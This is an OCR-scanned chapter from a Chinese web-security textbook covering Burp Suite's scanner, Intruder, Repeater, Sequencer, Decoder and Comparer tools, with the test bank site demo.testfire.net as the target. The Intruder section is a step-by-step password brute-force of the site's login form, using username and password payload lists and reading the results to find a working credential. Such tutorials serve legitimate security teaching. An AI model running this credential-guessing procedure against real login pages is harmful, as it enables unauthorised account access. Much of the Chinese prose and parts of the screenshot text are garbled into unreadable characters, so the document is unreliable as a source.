» hitpoiew w microsoft.com Hm -] Send to Comparer (request)
» hitpifeww netscape.com Send to Comparer (response)
» hitp:Mwww newspapersyndications.tv I]_M Parames I Headers I Hex ] Show response in browser
b hitpierww w3.ong GET Jadmin/elients.xls HITP/L.1 Request in browser »
» hitp:/Pwww . watchfire. com Host: demo.testfire.net E e
Accept: */* - L
Accept-Language: en Compare site maps
User-Agent: Mozilla/5.0 (compatibl Add comment frident/5.0)
Connection: close . " >

A 19-13  #fTHEH

P)# 3| Scanner I , 0] LI B 6 S 10124706 60 . i 19-14 o .

D)# 3] Results FIEI R, 0] LLE BNFHE5 R 0K 19-15 Frox . 25 R URIE 8o,
A DLk 4 A U i 19 B A DL BB el I

AP a] PLFE Live scanning f3EI K P i & & & H a7 FE T el A e ah$14h . thnf
LLAE Options F 330 o B Wi o7 114 31485 208 20 330 B2 AN A0 40 il 76

325
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| Torget [ Proxy | Spider | Scaneny] trucer | Repeater | Sequencer | Decoder | Comparer | Extender | Optons | Alrs |

[ Resns (g e scoming | ovtions |

# &/ Host | uRL | Status |Iu|.m | Requests | Errors | Insertion poir
1 hitp://demo.testfire.net ladmin/clients xis 11*“&’“ _ = — 8

Show details

Cance

Sean again

Delete tem

Delete finshed items
Automabcally delete finished items
Pause scanner

Send to Repeater Cirt+R
Send to intruder Chrlel
Scan queue help

19-14  FHGARES F

|mp:.ldumtudin.mt | Frameable response (potential Clickiacking)
i/

| aaviary, [ Reauest | Response |

i
| . ™
1 Frameable response (potential Clickjacking)
Issue: Frameable response (potential Clickjacking)
Severity: Information
Confidence: Finm J/
Host http:idemo.testfire.net
Path: !

19-15 HfmE*%

19.6.3 Scanner IRE

ff Results kTR P iEBFEE SN A A FH £ £ Report selected issues iy 4, U
E 19-16 fr .,

[TmIﬁnm]mim]w
| MR - 7o | Live scorning | Options |

Heport eelected iszues
Delete selected issues
Scan results help

F19-16 ®“HESFHAZSE

i s HTML sl XML #& 20, & 19-17 s,
VEBE T 75 TRAT I PN 25 A PR A7 b ik 9l Next 281 a0 19-18 FF s,
R SR A 19-19 P,
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Choose the format for the report.

® HTML
0 XML

[ BaseG4-encode requests and responses

B 19-17 &HF S B

Select the file where the report will be saved.

=ray |

Specify the title and structure to use in the report.

Report title ‘ Burp Scanner Report ‘

Issue organization [ By type -
Table of contents levels [ 2 i

Summary table [ All igsues i

Summary bar chart | High, medium and low issues -

A 19-18 [ Hiikm

Burp Scanner Report

Summary

The table below shows the numbers of issues identified in different categories. Issues are classified according to severity as High, Medium, Low or Information
This reflects the likely impact of each issue for a typical organization. |ssues are also classified according to confidence as Certain, Firm or Tentative. This reflects

the inherent reliability of the technique that was used to identify the issue

Confidence
Certain Firm Tentative Total
3 |
e e

Information - 1 0 3

The chart below shows the aggregated numbers of issues identified in each category. Solid colored bars represent issues with a confidence level of Certain, and the
bars fade as the confidence lavel falls.

Number of issues

|0 |2 |4 |6 |8 |10 |12 |14 16 |18
i |
Severity Medium
Low

19-19 45 H K
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19.7 Intruder [ H.

Burp Intruder ] DL H] =247 A58 00 32 | 2& J7 075 i L 5F L 180 FH ™ 24 FUEE At L3k BOHRT
HAEAE R . T AL aE http: //demo. testfire. net/4E 7 3Z 4 2k i Burp Suite 57 LI
i A P 24 R i 1) S 7

Ll 2 A 1 P 24 A5 53 30 08 jsmith Fl demol234,

19.7.1 FHYHFTE

(1) FH B B AT 3 30 W 28 o0 W 0] 328 ) JE http://demo. testfire. net. I B #fi {% Burp
Suite 11 Intercept is of (T2 M) S vl AR A UL 19-20) 75 D) ol Y 8 9 42 8. A
GIANR IR
15 Eurp Suite Free Eﬁ'un 'ur1.! -

Burp Intruder Repeater Window Help
| Target H Spider \f Scanner Ilntmder Iﬂepeater ISequencer TDecu-der ICumparer IExtender Iﬂptions INerts ]

H HTTP history | WebSockets history | Options |

Forward Drop [ Intercept is off ] Action

& 19-20 Burp Suite £ #i% &

(2) 19 vn ) k&% 28 F A5 37 F Burp Suite W r I BE Intercept is on,
(3) $i A username Ml password, H i Login % #l ., I B $ 47 19 %5 55 #8246 85 88 Burp
Suite Wi Wt (58— ¥R al FHIE#f 7 28 A 6906 5%, 5 2 al DAPCEE A, an A 19-21 s,

mmmmgmﬁn-mﬁnm [FE——————_ . e
BE =Ry Femged=r JTAT AW ey g -

& A demonmfinenetbankdogin ssos @ l-o| @ = AR @& 5
|8 wmmE | cREAES | WELE | WS I R REEWE ) | U Google Cheome

Chwnioad S In | Contac Us | Easdback | Seach
AltoroMutual 4 E
nrorovns > FELEY B 7ol
| emsocee s pomo menes

B OMLLME BANKIRG LOGIR PERSUMAL I"L_-

Online Banking Login

‘EFEEE{EFHE;{*{E;'

B 19-21 ] BT 5k R

(4) A7 H % $E Send to Intruder #5220 19-22 frs .
(5) VI FEAE SB35 R 5 B & %45 Intruder B3, i A Intruder £ 50 & . B¢ ¥ Burp
Suite A d2 2% S4Bk . fE Target WK o] LE B Sl &4 T 25 REE M B bx .
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Burp Intruder Repeater Window Help

L1819 REERINTEIES Burp Suite i)l 4

| Target ism]'s.:mm | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Options | Alerts |

Intercept WebSackets history | Options |

Filter: Hiding C55, image and general binary content @
# 4 Host | Method | URL | Params | Edited | Status |Length |MIME t._ | Extension | Title | Comment |
1 hitp/idemo testfire net GET  /bank/login.aspx - J 200 HTML  aspx Altoro Mutual: Onlin_... |

8 http:/fdemo_testfire net POST  /bank/login.aspx 4] L HTML aspx

| Raw | Params | Headers | Hex |

GET /bank/login.aspx HTTP/1.1
Host: demo.tescfire.net

Accept: text/html,application/xhoml+xml,applicacion/xml:;gq=0.9, */*;g=0.8
Accept-Language: zh-en, zh:g=0.8,en-us:g=0.5,en:g=0.3

Accept=Encoding: gzip, deflate

Beferer: http://demo.testfire.nec/default.aspx

Conneccion: kesp-alive
Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Windows NT 6.1:; WOWE4:; rv:I4.0) Gecko/I0Ll00101 Firefox/I4.0

Cookie: ASP.NET Sessicnld=prvichbrpSachmidSSxivikkcrl; amSessionld=l172136325633; anmlUserInfo=D

Send to Spider
Do an aclive scan

Do a passmwe scan

Send to Sequencer
Send to Comparer
Send to Decoder

Show response in browser

Request in browser

Engagement tools [Pro version only] *
Coow LIRI

& 19-22 % $£ Send to Intruder 754

ME 19-23 s .

-
E Burp Suite Free Edition v1.6

——e— _d

Burp Intruder Repeater Window Help

[ Target | Proxy | Spider | Scanner Hnem:m]smma]nacm | Comparer | Extender | Options | Alerts |

el 1]

| Target | Positions | Payloads | Options |

1 2 l Attack Target
Configure the details of the target for the attack.

l‘
! Host:  demo.testfire.net

[ ] Use HTTPS

“ Port: 80

& 19-23

C ¥ B 2RI | B s

(6) #F A Positions W5k, 1] LLFE B Z 757 & 1% 45 Intruder ()35 2K . Intruder Xf o] i 47
iR ZEEHAT T mse Bon, WA 19-24 o, 7e55 i P 2 st 2, RFEH P 4
RS E RS BOA W AR, T2 P 75 2540 0 HiiEE & Burp.,

(7)) Pdi s T Clear %8, B M BRI A 15 55 ik 2 8. £ PR LB E Burp, 1
X R B B P 24 S A 2 8 ik AR I SR B ) username (AR 4 Fp ] P 44 4
admin) , 2R J5 5 Add #%8 . IR ARG R 119 password B2, XHEEZ G H
120 PG 22 O S — A M A8, — B SE 0, St i i B 19-25 Jrais

(8) EFELIEM . £ Attack type 211 B A5 4 Fp I 5 77 2K, 43 5l )& Sniper, Battering

ram,Pitchfork fl Cluster bomb, T3/ 41iX 4 PP B 5 X,

329

N/
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Cookie: ASP.NET Sessionld=SpEVECHERSaORRASSHEVIREELS

amSess iunl’d=_;

amUser Info=
Connection: keep-alive

Content-Type: application/x-www—form—urlencoded
Content-Length: 38

uid=SEEMINS < passv=SEITIILS cot nSubm1 c~SEEGINS

v

Burp Suite Free Edition v1.6 = =B8] X
Burp Intruder Repeater Window Help
[ Target T Proxy I Spider T Scanner
Repeater Sequencer Decoder Comparer Extender Options Alerts
3 x
Target Payloads | Options
Payload Positions
) Configure the positions where payloads will be inserted into the base request. The attack type determines the way in
III which payloads are assigned to payload positions - see help for full details.
Attack type: [Snlpm‘ -
POST /bank/login.aspx HTTR/1.1 A | Add § ]
' Host: demo.testfire.netc
User-Agent: Mozilla/5.0 (Windows NT €.1; WOWE4; rv:24.0)
Gecko,/20100101 Firefox/24.0 Clear §
i hocept: —
i text/html, application/xhtml+4xml, applicaction/xml;g=0.9,*/*;q=0.8 Auto §
i hocept-Language: zh-con, zh;g=0.8,en-us;g=0.5,en;qg=0.3
Aecept-Encoding: gzip, deflate
Referer: http://demo.testfire.net/bank/login.aspx Refresh

) & & B [rre o | o (S

6 payload positions Length: 624

19-24 Positions £ Tk

Target Payloads | Options

Payload Positions

which payloads are assigned to payload positions - see help for full details.

Attack type: lSnl.pH -

POST /hank/login.aspx HTTP/1.1 Y
Host: demo.testfire.net

User-Agent: Mozilla/5.0 (Windows NT E£.1; WOWE4: rv:24.0)
Gecko/20100101 Firefox/24.0

Accept:

text/html, application/xhtml+xml, application/®ml;q=0.9, */ *;q=0.8
Accept-Languages: zh-cn,zh;g=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Beferer: http://demo.testfire.net/bank/ login.aspx

Cookie: ASP.NET SessionTd=ptvfcbhbrpSachm455xxfvkkcrl:
amsessionld=172136325633;

amlser Info=UserName=YWEtald=LFassvord=YWRtald=

Connection: keep-alive

Content=Type: application/x-www=form=urlencoded

Content-Length: 38

uid=Sadming cpassv=SILTTINES chenSubmit=Login

v
? < + > Type a search term 0 matches

2 e ) ]
2 payload positions Length: 616

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in

i

Al 19-25 ESHNF P 25 M S 5 i
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o Sniper Wi RBITHE N ARES (FHM) , DOFPSTIIE T 4635 K, B H 3 4E
A —E LB R W R E 7 A i S ISR BN R Bk S 8BS
TR A B A B, DR X 2 B TR A s g e e . 8 Ao, O e A
(¥ 7 4338 2K H username=a. passwd=b, M AW A EREES K12} IBAK &4
4 PR T .
username = 1, passwd=Db
username = 2, passwd=Db

username = a, passwd = 1

username = a, passwd = 2

* Battering ram B R RTHE PR E S (FH) , X PP BB 2208 2046 5 B
1) B3 AL [R) I R 25 B A I 288, 35 n T 72 AR s SR I BOZ T gk B G i 28, 1)
115 35722 h

username =1, passwd=1
username = 2, passwd= 2

* Pitchfork B 2SR T 2219 17 20 4E & 19 18055 T 157 A 2 B0 AN B0 Gl KA R 20
) X PN RRT LG TSR E M REES TR R EH BN EER R
B A T A A B a5 3011 ﬁﬁ%ﬁﬁﬁ%ﬁﬁﬂﬂﬂ—*ﬁﬁsﬂihﬁﬁﬁ 135 5K
A~ T 3 G BB I /ME PR . W P S A R R 15 K P username=a.,
passwd=b, payloada={1 ,2},payload2=1{3,4,5} AF A4 Mgk .

username = 1, passwd = 3

username = 2, passwd = 4

* Cluster bomb H; JS RIFT L) T 25 G B 55 T 7F 0 i 2= B0 A %0 Gl K(E
20 ) M E— R R R, XA I R T S A SRR A T
s M8 R dw e A R PI4T35 SRR & A 2 BOBUE 9 P 5, 7 AR 193 SR A 1O
T A 10 3 AL G BE RO e A X M s 2 M e O B R . T 2R R P e AR D A 3 oK
username—a, passwd= b, payloada= {1 ,2},payload2=1{3.4,5} , B Aa=r"4 6 |
oK
username = 1, passwd = 3
username = 1, passwd = 4
username = 1, passwd =5
username = 2, passwd = 3

username = 2, passwd = 4
username = 2, passwd =5

(9) 3k A Payloads FiET . £ ¥ Payload set W{H R 1, 5d7 Load #& 8 I — 1~ 41 7%
w2 NP A CACHER) . ARG — AR/ i STk s . &k 2 s 1P 24 30 A
I 2 I 19-26 s,

FH 7 o ml DU e — S 00 000 o 6 28 4 5 o 4 i A Ak L 8] hn iy 2 n B 19-27 By

o B AT DLk R A X R R S A i AT A
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B Burp Suite Free Edition v1.6 =Bl s
Burp Intruder Repeater Window Help

I Target | Proxy | Spider | Scanner ]
Repeater Sequencer Decoder Comparer Extender Options Alerts

el | 0000000000000

Target | Positions Options

Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the
Positions tab. Various payload types are available for each payload set, and each payload type can be customized

in different ways.
Payload set: [1 ' Payload count: 5
Payload type: [Sim[i-e list i Request count: 10

Payload Options [Simple list]

This payload type lets you configure a simple hist of stnngs that are used as payloads.

| Paste | |admin

administrator
Load ... user
ano s >
Jsmith
Clear
Add | rEnfer a new ifemn |
' Add from list ___ [Pro version only] v|

Kl 19-26 11X & Payloads -1 1

@ Payload Processing

Enter the details of the payload processing rule.

Select rule type
Add prefo

I Remove Add suffoc
Match/replace
Lw | -
Substring
Reverse substring
Modify case
Encode

i

@ Payload Encoding

This setting can be used to URL-encode selected characters within the final pavioad, for safe transmission within HTTP requests.

[#] URL-encode these characters: | fi=<>7+&%:

F 19-27 TiAbHE 59515

(10) [FFEix E Payload set {H 7 2, Hii5 Load ¥ & — 0 % #1919 ¢4 (H 2 #E
#) o MEZJE P 19-28 fos.

(1) EEW ) . A Options FiEIN <, 6fiff Attack Results [ [ Store requests #l
Store responses Lzt H . WA 19-29 s,

(12) P22 FAMAM Intruder 28, PE £ Start attack ay 2 i Hcds . oA 19-30 s,
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Bl B e From Eifon w10 e —— S

Burp Intruder Repeater Window Help

rTatget|F’mxy|5;i-det|Scm-Repealet|Sequenoer|Decodu|Cnmpam|Eﬂendu|Opﬁms Neds'

1 =
Frm P ™l D .

Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various
payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set: [2 . Payload count: 7

Payload type: [Sim;ie list i Request count: 35

Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste abceed 4
——— |abcd1234
Load ... password
admin >
) —_— | 1234

b . — | | demo1234

Add Enter a new item

' Add from list .. [Pro version only) M

El 19-28 X & Payloads #- 1 2

H Burp Suite Free EE;";; v16 R _ = | &l EE-! I

Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner Repeater | Sequencer | Decoder | Comparer | Extender | Options | Alerts

F1,<

Target | Positions | Payloads

Throttle (milliseconds): & Fixed .D

) Vanable: start 0 step 30000

Start time: ® Immediately

On |1D minutes

) Paused

Attack Results

[l ’] These settings control what information i1s captured in attack resulis.

) Store requests

] Store responses
[ Make unmodified baseline request

(] Use denial-of-senice mode (no results)
(L] Store full payloads

&l 19-29 % & Results 5+

333
N
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B Burp Suite Free E:ﬁ'hnn vlé

Bur,

Repeater Window Help

—

1

Actively scan defined insertion paints [Pro version only]

Send to Repeater

Decoder | Comparer | Extender | Oplions | Alerts

Save attack config [Pro version only]
Load attack config [Pro version only]
Copy attack config

000

New tab behavior
Automatic payload positions

¥y ¥ vyvv¥yuzw

Configure predefined payload lists [Pro version only]

() Paused

Attack Results

] Store requests
] Store responses
[¥] Make unmodified baseline request

] Use denial-of-senvice mode (no results)

] Store full payloads

These settings control what information is captured in attack results.

19.7.2 =HIY
Mk A

AT H

FH P 4] A 7€ W —
e R AR s . FERX R E LR . P E BN H P 44 admin, % % admin HIH] ' 27 jsmith, %5 65
demo1234 10 v+ B8 AH e AR £ 0, B W) H A 35 K AH HeAH 22 1R 3, W) o] DL 4B Cadmin, admin)
F kAT I L A 19-31 R B R .

& 19-30 FFER T

HHER

— A~ Windows & 11, H oA HIE 00 Fr A 35K
— A SRR B I e 7 — A B i SR A LA B A — A AR

Intruder attack 3 I [=]E] X} ]
Attack Save Columns
'Hrmlmmslpaﬂm"oms] ‘
| Filter: Showing all items
Request 4| Payloadt  Payload? Status | Emor | Timeout |Length | Comment
17 administrator password 200 =l (= 9380 ]
13 user password 200 O ] 93M
| 14 anonymous password 200 UJ [J 9376
15 jsmith password 200 O ] 93713
17 administrator admin 200 O O] 9380
18 user admin 200 U ] 93m
19 anonymous admin 200 o (] 9376 N
| 20 Jsmith admin 200 o] fosd 9373
21 admin 1234 200 U ] 9372
22 administrator 1234 200 (| ] 9380
Il 23 user 1234 200 O O 9371
24 anonymous 1234 200 (0 [] 937e
25 jsmith 1234 200 U ] 9373
26 admin demo1234 200 U ] 9372
27 administrator demo1234 200 UJ ] 9380
28 user demo1234 200 U ] 93m
1 29 anonymous demo1234 200 (= (] 9376 J
30 jsmith demo1234 302 O [ 662
‘ ] admin 200 o - 9372 |
3y P P S Y L Ta T — - ot Talal
|EAS v X0

K 19-31 FHIESRAE
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2l IXRE A T AR B iR B Y 5 — A T 2 R A, o B H 24 R
WA M ACHESR . ol DL R 8057 S A il 22 i T 44 S R
A B, AE B . [R)AE L L AR RE P P 44 5 (AN R 8 6T L 0 R AR D — A S Bt

1T

19.8 Repeater . H

Burp Repeater o] LA#HE B P A &b 17 T3, 2EF 47 S8 oy ig oK A s JF it
£ Send to Repeater i 2 . M B 75 ZE 215 2K & 1% 3 Repeater FH , WNE 19-32 T,

oo e [ s [ v oponr [ ssrcr oosow | compre | v |

[ intercept H WebSockets history | Options |

Fiter: Hiding CSS, mage and general binary content

# 4 Host | Method | URL | Params | Edited
! ttp:lidemo testfire.net http:/fdemo_testfire net/ Lm - U
2 http:/izh-cn.appex-rf.msn.com ?cgv O
3 hitpcfizh-cn_appex-rf_ man.com Remove from scope xmi?eg O
4 hitp-fizh-cn.appex-rf. msn.com | Spider from here xmi?cg €] =
5 hitp:iizh-cn.appex-rf. msn.com | Do an active scan mi?cgve &) O
6 hitp:#izh-cn appex-rf.msn.com | Do a passive scan ess/Hom... o
7 hitp:iizh-cn_appex-rf.men.com | Send to Intruder Criel  JxmiZcg &
8 http:/ifinance.services_ appex. Dig=En Tl LR =r- e = & o]
9 http:ficonfig.pinyin.segou.com | Send to Sequencer yun.php.. @ U
10 hitp:/183.60.62.45 O S — ay? & ®
11 http:/icloud xmp.kankan.com Send to Comparer (response) 6635 =
A Show response in browser

&l 19-32 & 1% # Repeater

Y #| Repeater IR J& . 17 0] LT B 0K . A8 5 0 i s A7 5 38 2 RE . BE = 52

BN P R AR WNE 19-33 .

Tugatmmsmmmusmmcmumumm]

|. Go Cancel | | < |v > |

Request Response

CET 7 HITP/1.1 A &
ost: demo.testflire.net

r;roxy—l:unnectinn: keep-alive

Accept o

text/htal ,application/yxhtmlt+unl, applicationfxnl ;q=0.9, image /wabp */*:q=0.
B

T.l:-::-j.g\-nt: Mozillas5.0 (Windows MT £.3; WOWE4) ].Fpl.ﬂlhkitfsfl?.iﬂ
(FHTHL, like Gecko) Chrome/43.0.2357.134 Safari/537.36

Accepe-Encoding: gzip, deflate, sdech

jAccept-Language: zh-CN,zh;q=0.8

Cockie: ASP _NET Sessionld=tldged4Svrhkkkiadpxeifbs;

anSessionld= lOTELID31L3441

Target: hitp:idemo.testfire.net l:] [1]

¥ ¥

[?J[‘JL+J[’JICW& | 1 maten [?J[*H+J[*JTy‘peasearf:hrerm

0 matches

& 19-33 &k T aE T e



BRI 308 35I| 45

B sE G s Go e, fE A4 I 9 1 11 GE 08 B 2 i 1 i 3, I 1E 19-34 Firos

ITmIMIy]%TMIMHSm]mIWTMiMIAJHI:]
| Go Cancel | | < |¥ > | Target: htip://demo.testfire.net li] [1]

Request Response
Hm]umiﬂu] _HHMIH&IHI‘HLTMI
CET / HITP/1.1 A HTTP/sL.1 Z0OD O &
Fnyt: demo . cestfire net Cache=-Control: no=-cache
Proxy—Connection: keep-alive Pragma: no-cache
Aecept - Content -Lengeh: S£05
teaxt/htel ,application/xhtmlt+uel, application/xael;q=0.9, image/webp ,*/*;q=0. Content -Type: text/htel; charset=utf-8
B Expires: -1
User-Agent: Mosillass5.0 (Windows NT E.3; WOWE4) AppleWebKit/537. 36 Server: Microsoft-IIS 8.0
(FHTHL, like Gecko) Chrome/43.0.2357.134 Safari/537.36 ¥-AspNet-Version: Z.0.50727
Accept-Encoding: gzip, deflate, sdch ¥-Powered-By: ASP.NET
jAccept=Language: zh-CN,zh;q=0.8 Date: Thu, OI Jul Z015 17:33:03 GHMT

Cookie: ASP_NET_ Sessionld=tldgcd4Svrhkkkiadpxeifbs;
amSessionld=l0ZE10313441

" </DOCTY¥FE hitml PUBLIC "-//W3C//DID XHIML 1.0
Transitional/ /EN"
"http: /. wd L org/ TR/ xhitml 1/0TD /xhtml 1-transitional .d
td" >

<htm] xmlns="htcp://wvew_ w3 _org/l959/xhtml"
¥ml: lang="an" >»
<head id="_rctll__ctlD_head"»<ticle>
RAltoro Mutual
“fcitle*<meta http-equiv="Content-Type"
concent="text/html; charset=iso-BB59-1"»><link
href="style.css" rel="stylesheet" type="taxt/css"
f#<meta name="description" contenc="Altoro Mutual
offers a broad range of commercial, private, retail
v and mortgage banking services to small and L

[?][¢][+J[;}'mm | 1 mateh [?]lt][i-][.‘h]Fj’pﬂusaurchrt'.'rr:l | 0 matches

19-34 Ml i $% 3C
19.9 Sequencer [.H

Burp Sequencer s&— X R INA 205 2 BB VLYE R T B B & T 40015 TP i e i 5
1E3X BT H B AT FE A0 49 A 28032 T LLZ DL AT B S0Ry .

T4y —~H Sequencer Xk Sk M9 SE 4], 5 A Burp £ 8T fE, A 005 4F CR
T il AR 55 % A2 i — 1> SessionlD) . fEHLhE A iy A demo. testfire. net. f£ HTTP history § ik
WK 4R B0 S5t vk v 3 £ o B HE Send to Sequencer A4, WA 19-35 JlF s,

| mcrcer TR sty | WebSockets sty | Opions |

Filter: Hiding CS5, image and general binary content

Host |Halm|:l URL |Fum Edited Im Length | MIME type
127 http:/idemo.testfire.net GET L a O

http: fidemo. testfire. net/
Remove from scope
Spider from here

Do an active scan

Send to Intruder Ciri+l
Send to Repeater Cirl+R

Send to Comparer

Regquest in browser >
T En tools

' gagement | )

Show new history window

E Add comment
Highlight >
Hmfﬂu] D:emm

CET / HTTP/1.1

o k

Kl 19-35 %1% 3| Sequencer



PJ4 #] Sequencer #ET  J5 B Start live capture #& 8 (A I 75 22 00 &, 28 2 20048 119
T, AT D) it e i AR 15 FE AL & HE . B 19-36 Pz . 49K H P al L33 1A% I

L1819 BREERINTIES Burp Suite i)l 4

WO, oA SR S A e

[T [ - | spam [ scamer | ivir | eper | somnee] oo | comporr | exrr | oiors | e |

@ Select Live Capture Request

Send reguests here from other tools to configure a live capture. Select the request to use, configure the other options below, then

[w}: 4 | Host Request

1 http://demo.testfire.net GET / HTTP/1.1Host: demo.testfire.netProxy-C...
Clear

[ s s |

Token Location Within Response

Select the location in the response where the token appears.

@ Cookie: [w.m_smw:mwm1m i
Form field: Y|
(U Custom location: . | [ Configure ]

iy Start live capture 815 258 W0 B 19-37 Py 19 B2 107 . 15 36 =K 208 3 100 5 6E

Kl 19-36 4l ZK B B 5 1

o . SR TR ECH B L 0 1 45 R

Live capture (130 tokens) |

l

Pause ] l Copy tokens ] [] Auto analyze (next 200) Requests: 130

l

oo | (s | [ sowmorow | s o

_mmmlmmlmm|

Hiii Analyze now &l . )7 G A . P = B BIAHBL 45 %, a0 19-38 s . &

Bl 19-37  f 2K B B 5 T

48 23 AT AN R 2 U0 3 A, ol DB A R ) 2 00 R AT D)4

337

\/
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[1] Live capture (paused) [P

{ Resume J | Copy tokens J [J Auto analyze (next 2000)  Requests: 1680

[ Stop ][Save tukem] [ Analyze now J Emors: 0

M Character-level analysis I Bit-level analysis T Analysis Options ]

=10%

=1%

Significance level

=0.1%

=0.01%

=0.001%

Humber of bits of emtropy

Reliability

The analvsis i basad on a sample of 1680 tokens. Based on the sample size, the relability of the results is: reasonable.

Bl 19-38  Jr#r&s R 5T

19.10 Decoder T H

Burp Decoder T.H. ] DL F & & 65 M1 AT, o] DLDLSCASF S #E 6 A X Box . #I G
i A 19-39 ik,

[ [ o | o | scamer | iusr | epoer | soworcr st compwes | e opos | e

| @ Text O Hex EJ

| Decodeas..  |w|
.
| Hash . v

[Srrutd-amdej

l 19-39 145

W5 B g i P 25 5 A B SCAHE , SR 5 7E Encode as F 751 % HE Ak FEAH B 19 4 6% L LUK &
it p HTML A6, B 19-40 B8 T 4a b4

¥ LA f# A, /£ Decode as T $i %1 FRAE  #E £, o H 2 917 Smart decode #% i ,
ZEIRANE 19-41 iR,
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Burp Intruder Repealer Window Help

| rocot | Proxy | Spidr | Scamner | wiruder | Reposter | Sequencer ygagaugy] conparer | extonder | Optons | At |

&

@ Text () Hex @

[Enmdens... H

| (oocsse s}
[Enmdcu... i

e i)

[ smdose |

[ 19-40 4R
[Tt Py [ s | scmer | e | setr | Sorcr | ot conprr | e | o | s |

& @ Text QHex[EJ
[Emnduu.., H

e Jn)

[ Smart decode ]

A 19-41 fREER

19.11 Comparer [_H

Burp Comparer G848 #5 Bl HI P & 3 W03 B8 Z B AN [R] . FH P08 7 28 b s i S 4%
ol 4 R Ol 380 08 B 1) DX RPN L % T B B 3l B ] — 2 RS RS P a] DL A BSOS A A o i
FERr T e Bl . i Compare T I Words 2% 7 Bytes % #1 . AN [A] 2 1 T 4 L

B, mE 19-42 FioR.

Comparer 7
This function ets ‘,I'CI.I do a word- or M-!‘Jﬁl Comparson bestwean different data. You can mﬂ, pﬂl!l or s&nd data here from other tools and than select the mmrisnn ‘,I'CI.I want 1o pﬂ‘l’fﬂl'l"l'l.
Select item 1:
# Length ] Data [ Paste ]
4 3 | Web
5 12 Web Security Load
 Remove |
[ cear |
Select item 2.
| £ | Length | Data l
4 3 Web
|5 12 Web Security |

I

i

& 19-42 S AR

339
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340, EEMGXSEIESEIIFE R

N

AL RN EE B s SRR 2, etk SR Em, Ea
RERMER . Boasgh Btn] DLAESCAR R 7S 30 f 2Z R )4, an i 19-43 Przs

Lengih: 3 @ Text ) Hex Length: 12 @ Ted () Hex

Wab Web Sacurky

ey N [ ot 3 Syme vews|

Al 19-43  HEEER
WD tman

Burp Suite f @ A4F. HiE K, CHASHEINITHERBREEFTLES . AR - T EY
TAEA ., AP TAA Proxy T EE M35 KAevh 2 ; A Spider T BB B 49 N 2 F= 2 48 5
Bl Scanner T Rt AT AR X KR 424 ; A Intruder TH AT P LA E 65 M; A
Repeater T H ¥t 47 FFh = & ; A Sequencer T H 3t 174 5 4 MR AL M 69 4], R b2 9],
ZLAEOXEATHAEALKRE EEL A PR XRERKGEA

Burp Suite £ A Z Al EH T KERE, B EZMRE Burp ARERFZ . R 2 A
Burp #4775 K fe vl B 69 324K , B B 2F ) U B # ATV E

Burp Suite 5 3% K 89 % /> 2§ £ & Scanner #= Intruder., & & 7T YA Scanner % & — /4~
A BEFG T L RER A2 XA R 5 XAR S TAREIEE., AP RiZHE
iz T LA A Burp Suite AR PR F 57 X REH, €L F A2 B4 5
N, Intruder 6B H B A P 7B BRA P 2R FEM, LiIFF L ERRENBEBFT,
Intruder X E T AN FHEX, THAPIFTL&F. AT XETFRMAEFERXLN
] RE .

Burp Suite 2 — M EFTEROES BB CARRLE, KA EBH AL ZIRIE RS
B, mREAFHZLAGE LT ERRKRARE . ITREAFD R OREEF M3E, %
TAMSHIERFE& AP ARKGH B,

;@; BRI

{#i H Burp Suite T HXFAS 4552565 1 A $2 0619 Bl 1722 23 Wk . 35 o0 B 28 21
FRBE . “TvAZE http://books. rogisoft. com/wstool P & 8 # % &) Web 412 5 5 i&
B T B84 R,
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N

ZHEIL
ad® o8 af} o8 af o8 af 08 af o4 af: 0§ af 0 ;
I Name : Date.

4 m): The reason why a great man is great is that he resolves to be a

greal man.

N Z BT LA R S IR Ol 37 8 ZE O R RN .
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MEgEMIX T B wrk i)l 2k

XBHMN

PERE M 2 i A 34k aY il T 2R 2 R OE F L g E R
OB IR A R X AR B8 A T B 45 be 2k AT I 3. D B R s
AR L NP1 R o LI W L ) N o vl T (115 0 1= 28 LU IR P W 1
FEAES R T/ D120 T & G 9 1 8E - H br 2 00 = 5 28052 @ 34
), 7% Go 45 T BE 46 An 9 Z2 A 1S D0 o B 07 I 52l 0 i € — 1 &
419 T S0 A A HE 4% 52 19 PR BE A 5 R R A AR e e e 1 9 e K 55
) 1

— N RGEIE PR EZ Lk Z R e, oA B A HEaE ]
e 2, BT EERR I BL R G LR .

20.1

al'F

EHeMiA T H

T HJE 48 TAER Py a0 B )5 51 B 93K 2 58 i el fie 2k 5%
—HYMTB. WAL BER 25 i & JF 68 i T 202 A A
RIARA X A, & 20-1 Fros, TR a] LUAE b AN 2648 @ A2 77

I &

PYIEON i

A 20-1  AFURER A X 5]

WERAEEH T H A AN T T PR BRI 2 A7 AL UL T B .
(1) MEATT LA KRBT . O 7 B2 R 03I Ay 355



35520 TEREMIN T A wrk )il 2k

i 2 2 NP A T A i 5 A AR 2 i BT 35,y Bt 5 A 55 98N TR ROCR o 2 KAT 34,
B s UE N T REE M .

(2) Al E S PEAER 22 PEREMN 2 5 2 S SR AR AP Ay, A R B A T R 5 )y,
PHEANTEAEAPER .

(3) e P2 . i e EAR U 2 Fh SRR A S R il TR 84 X T 2
FFAER 22 o 1T ELAH R T H mlRe e SR 156 X R 22 2 B R X il 3 235 20 52 Wi R K

(4) R BB ME A, WREA TH, 2 AN T REBIH B S ER K
iR 2 .

20.1.1 tEgeMXFn N TEM X R

(1) P RE D I B Bk R 73 & 1 &R ge il ik, Fn B fd F A4 T B IR B0 B <
Zo WHTHREEN TR &R CEER M AEah 0 —fhIrEm T B, WA FRFE, [F
figr Al A IR P T LB A S P X

(2) PEREM A S TP RE I X T H. . 40 LoadRunner B2 MERE M i T H A il —Fp , i B
EERAZRTHEN AR EEE FEHARIR AT,

(3) Azt T B 5 el T H A DO - P BRI T ] — R B T R P I
(% P 5 55 AR 28R BT ESF I 2056 B ARG REEW UL 1 A a4k 48 i 2 Xt
ZORBN A TE UL A, A sk Jo ek sl AR xE & il 7 20, AR 258 o PhiUIR A %)

20.1.2 tEgeMi TEAYEFE

PRAE PERE I 2 T H C 2 gk i 2 i I T R s ], — s ok — N E S H
